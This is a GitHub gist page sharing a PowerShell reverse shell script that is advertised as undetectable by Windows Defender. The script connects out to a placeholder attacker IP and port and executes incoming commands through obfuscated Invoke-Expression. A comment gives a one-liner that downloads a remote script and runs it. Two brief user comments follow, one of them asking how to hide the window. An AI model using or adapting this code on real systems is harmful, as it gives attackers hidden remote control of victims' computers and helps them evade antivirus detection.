Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save guglia001/1de961b6b7fef4ef4f383015bb0f7c1e to your computer and use it in GitHub Desktop.
Save guglia001/1de961b6b7fef4ef4f383015bb0f7c1e to your computer and use it in GitHub Desktop.
Powershell reverse shell script undetectable by windows defender
#based on original script by @nikhil_mitt. Change ip and port
#Undetectable on 05/09/2022
# Example IEX(New-Object Net.WebClient).downloadString('http://<ip>/<file>.ps1')
$KLK = New-Object System.Net.Sockets.TCPClient('<ip>','<port>');
$PLP = $KLK.GetStream();
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};
$VVCCA = ([text.encoding]::UTF8).GetBytes("Succesfuly connected .`n`n")
$PLP.Write($VVCCA,0,$VVCCA.Length)
$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ')
$PLP.Write($VVCCA,0,$VVCCA.Length)
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};
while(($A = $PLP.Read($VVCCA, 0, $VVCCA.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($VVCCA,0, $A);
$VZZS = (i`eX $DD 2>&1 | Out-String );
$HHHHHH = $VZZS + (pwd).Path + '! ';
$L = ([text.encoding]::UTF8).GetBytes($HHHHHH);
$PLP.Write($L,0,$L.Length);
$PLP.Flush()};
$KLK.Close()
@potatonuke10
Copy link

nice

@potatonuke10
Copy link

is there a way to hide the window -w hidden doesn't work in this case

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment